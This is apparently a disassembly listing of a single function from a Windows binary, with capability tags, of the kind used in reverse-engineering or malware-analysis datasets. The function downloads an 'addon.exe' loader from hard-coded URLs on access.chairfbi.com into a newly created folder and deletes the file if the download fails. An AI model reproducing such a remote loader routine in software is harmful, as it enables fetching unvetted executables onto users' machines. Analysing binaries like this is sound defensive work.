Function at 0x140049700
Capabilities:
Create directory
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov rsi, rcx
xor r14d, r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x6f], rax
lea rcx, [rbp + 0x6f]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
call fcn.140049ed0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea ecx, [r14 + 0x30]
call fcn.14008470c
mov rcx, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1400d2710]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [str.https:__access.chairfbi.com_loader_version_NoUi]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x1400d2350]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x1400d2360]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400d2368]
mov dword [rcx + 0x28], eax
movzx eax, word [0x1400d236c]
mov word [rcx + 0x2c], ax
movzx eax, byte [0x1400d236e]
mov byte [rcx + 0x2e], al
mov byte [rcx + 0x2f], r14b
lea r12, [0x1401c3cf8]
mov rdx, r12
cmp qword [0x1401c3d10], 0xf
cmova rdx, qword [0x1401c3cf8]
mov r8, qword [0x1401c3d08]
lea rcx, [rsp + 0x20]
call fcn.14004d8c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], r14
mov qword [rbp - 0x71], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x79], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.14006d2a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140049860
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004985b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004985b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
lea rcx, [rbp - 9]
call fcn.140004d20
cmp qword [rax + 0x18], 0xf
jbe 0x140049886
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x1400498cd
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400498c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400498c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
lea rdi, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rdi, qword [rbp - 0x29]
lea rcx, [rbp - 9]
call fcn.140004d20
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400498f1
mov rbx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r14
mov ecx, 0x20
call fcn.14008470c
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x39], 0x10
mov qword [rbp - 0x31], 0x1f
movups xmm0, xmmword [str._s_s_laddon.exe]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
mov r9, rdi
mov r8, rbx
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.14004d9b0
nop
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x14004997e
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049979
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049979
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
lea r8, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova r8, qword [rbp - 0x29]
mov word [rsp + 0x2e], r14w
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x38], 0xf
movsd xmm0, qword [str._s_laddon.exe]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x1400d2390]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1400d2394]
mov byte [rsp + 0x2c], al
mov byte [rsp + 0x2d], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14004d9b0
mov rcx, rax
call fcn.140048ec0
lea rcx, [rbp - 0x69]
call fcn.140004c90
test al, al
jne 0x140049d1a
call fcn.140049ed0
mov r13, rax
mov r15, qword [0x1401c3d08]
movabs rax, 0x7fffffffffffffff
mov rcx, rax
sub rcx, r15
cmp rcx, 0x2b
jb 0x140049d96
cmp qword [0x1401c3d10], 0xf
cmova r12, qword [0x1401c3cf8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
lea r14, [r15 + 0x2b]
mov ebx, 0xf
lea rdi, [rsp + 0x20]
cmp r14, rbx
jbe 0x140049ae0
mov rbx, r14
or rbx, 0xf
cmp rbx, rax
jbe 0x140049a9b
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14008470c
test rax, rax
je 0x140049ac3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140049adb
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140049aca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140049d9c
jmp 0x140049a80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140049ad9
call fcn.14008470c
mov rdi, rax
jmp 0x140049adb
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [str.https:__access.chairfbi.com_loader_url_NoUi]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400d23a8]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x1400d23b8]
movsd qword [rdi + 0x20], xmm0
movzx eax, word [0x1400d23c0]
mov word [rdi + 0x28], ax
movzx eax, byte [0x1400d23c2]
mov byte [rdi + 0x2a], al
lea rcx, [rdi + 0x2b]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.14006d2a0
nop
call fcn.140049ed0
mov rbx, rax
lea rax, [rbp - 0x49]
mov qword [rbp + 0x77], rax
lea rdx, [rbp - 0x69]
cmp qword [rbp - 0x51], 0xf
cmova rdx, qword [rbp - 0x69]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor r14d, r14d
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r14
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], r14b
jne 0x140049b80
lea rcx, [rbp - 0x49]
call fcn.140002640
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 9]
call fcn.1400035f0
nop
lea r8, [rbp - 0x49]
mov rdx, rax
mov rcx, rbx
call fcn.14006cc60
test al, al
jne 0x140049cdb
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x69]
cmp qword [rbp - 0x51], 0xf
cmova rcx, qword [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.Failed_to_download_loader_addon
call fcn.140008a60
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x140049c35
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d0e
call fcn.140084748
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rbp - 0x79], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x51]
cmp rdx, 0xf
jbe 0x140049c85
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049c80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049c80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x69], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140049d78
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x140049d1a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049d15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
movups xmm0, xmmword [rbp - 0x69]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rbp - 0x59]
movups xmmword [rsi + 0x10], xmm1
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x69], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140049d78
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084748
mov rax, rsi
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140005a60
nop
call fcn.1400059a0
int3